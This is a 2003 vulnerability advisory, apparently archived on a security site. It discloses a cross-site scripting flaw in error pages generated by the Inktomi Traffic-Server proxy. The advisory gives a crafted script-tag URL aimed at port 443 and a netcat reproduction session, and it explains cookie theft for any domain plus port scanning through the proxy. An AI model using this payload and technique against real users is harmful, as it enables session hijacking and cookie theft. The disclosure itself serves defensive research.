Please we would like that credits of this vulnerability go to INFOHACKING
(Hugo Vázquez Caramés and Toni Cortés Martinez). Actually we work
at "Secdor R&D". The vulnerabily was found, once again, during a pen-test.
######################################################################
INKTOMI Traffic-Server XSS
######################################################################
We have just discovered a bug in a software called "Inktomi Traffic-
Server", this is a proxy cache server used by Large ISPs and Backbone
Providers to increase speed of web surfing. The software seems to have
been adquired by WebSense,but there's not too much public info about this.
We don`t know who is responsabile for this software.
THE PROBLEM (Tested on Traffic-Server 5.5.1 used by Telefónica in Spain)
A special request by a client passing through the Inktomi Traffic-Server
causes an error page generated by the proxy. This dinamic error page is
vulnerable to Cross Site Scriptting... The really important thing is that
the client making the request IS UNABLE to distinguish what domain
generated this code... so the XSS on this proxy makes vulnerable any
client going trough it. Indirectly any server whose clients come trough
the Traffic-Server and using cookies to track sessions are "vulnerable".
The Inktommi's Traffic-Server is used at our country (Spain) by
Telefonica, friendly known as "Timofonica", but also on many other places
in the world, nowadays more and more providers are using this software.
Many, many people, is affected by this problem.
--How to reproduce--
With a web client:
1) First you need a client that is going through a Traffic-Server. You can
check it making an http TRACE request to a server that supports this
method.If you see a response like this:
HTTP/1.0 200 OK
Date: Wed, 14 May 2003 07:31:13 GMT
Server: XXXXXX
Content-Type: message/http
Age: 1523
TRACE / HTTP/1.0
Client-ip: XXXXXXXXXXXX
X-Forwarded-For: XXXXXXXXXXXX
Connection: keep-alive
Via: HTTP/1.0 proxy[AC1EF246] (Traffic-Server/5.5.1-58900 [uSc ])
Host: XXXXXXXXXXXX
your http traffic is being proxyfied by a Traffic-Server.
Configure this client to use a proxy* (any IP on port 80) on the other
side of the Traffic-Server.
*(It is not necessary that the proxy exists: the request will be grapped
by the Trafiic-Server)
2) Make a request like this:
http://<spoofed_domain>:443/</em><script>alert()</script>
You will see the script executed on your browser!
Manually:
C:\>nc -v -v <spoofed_domain> 80
<spoofed_domain>: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [<spoofed_domain>] 80 (http) open
GET http://<spoofed_domain>:443/</em><script>alert()</script>
<HEAD><TITLE>Access Denied</TITLE></HEAD>
<BODY BGCOLOR="white" FGCOLOR="black"><H1>Access Denied</H1><HR>
<FONT FACE="Helvetica,Arial"><B>
Description: You are not allowed to access the document at
location "<em>http://<spoofed_domain>:443/</em><script>alert()
</script></em>".</B></FONT>
<HR>
<!-- default "Access Denied" response (403) -->
</BODY>
sent 61, rcvd 350: NOTSOCK
As you can see the error page is not generated by the final server,
instead is the Traffic-Server the one who generates this error. The BIG
problem here is that the client believes the response page generated comes
from the <spoofed_domain>... this makes posible to exploit this flaw to
steal cookies of ANY (yes any) domain...
This is like a "man in the middle" attack...a new way of taking advantage
of XSS... probably more devices working as "transparent" proxys will be
affected in the future by similar flaws...and exposing clients and servers.
The trick of the exploit is that the socket opened is on port 80 to force
the proxy to capture the connection, then you have to request an URL to an
open port other than 80, for example 25. If the port is open on the final
server, the Traffic-Server will respond with the error page, if the port
is closed, the connection will time out (so this method can also be used
to port scan from a Traffic-Server). Now there's the challenge to make it
work on a server with only port 80 open... Once again it seems that
there's a trick to bypass this restriction: using port 443. As far we
could test, for resquests on port 443, the proxy does not check if that
port is opened on the final target, so the best way to exploit this is
using the port 443.
A screenshoot of our exploit working against Hotmail will be available at
http://www.infohacking.com. This can be extented to any domain. E-
commerce/Home-Banking are probably the most affected scenarios.
Regards,
"We would like to dedicate this research to all the people in spain that
have been affected by those inconvinient devices."
"Nos gustaria dedicar esta investigación a todos aquellos usuarios que se
han visto afectados por los jodidos proxys de Telefónica"
Hugo Vázquez Caramés & Toni Cortés Martínez
INFOHACKING RESEARCH 2003
www.infohacking.com
Barcelona (SPAIN)
(We are working at Secdor R&D)
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
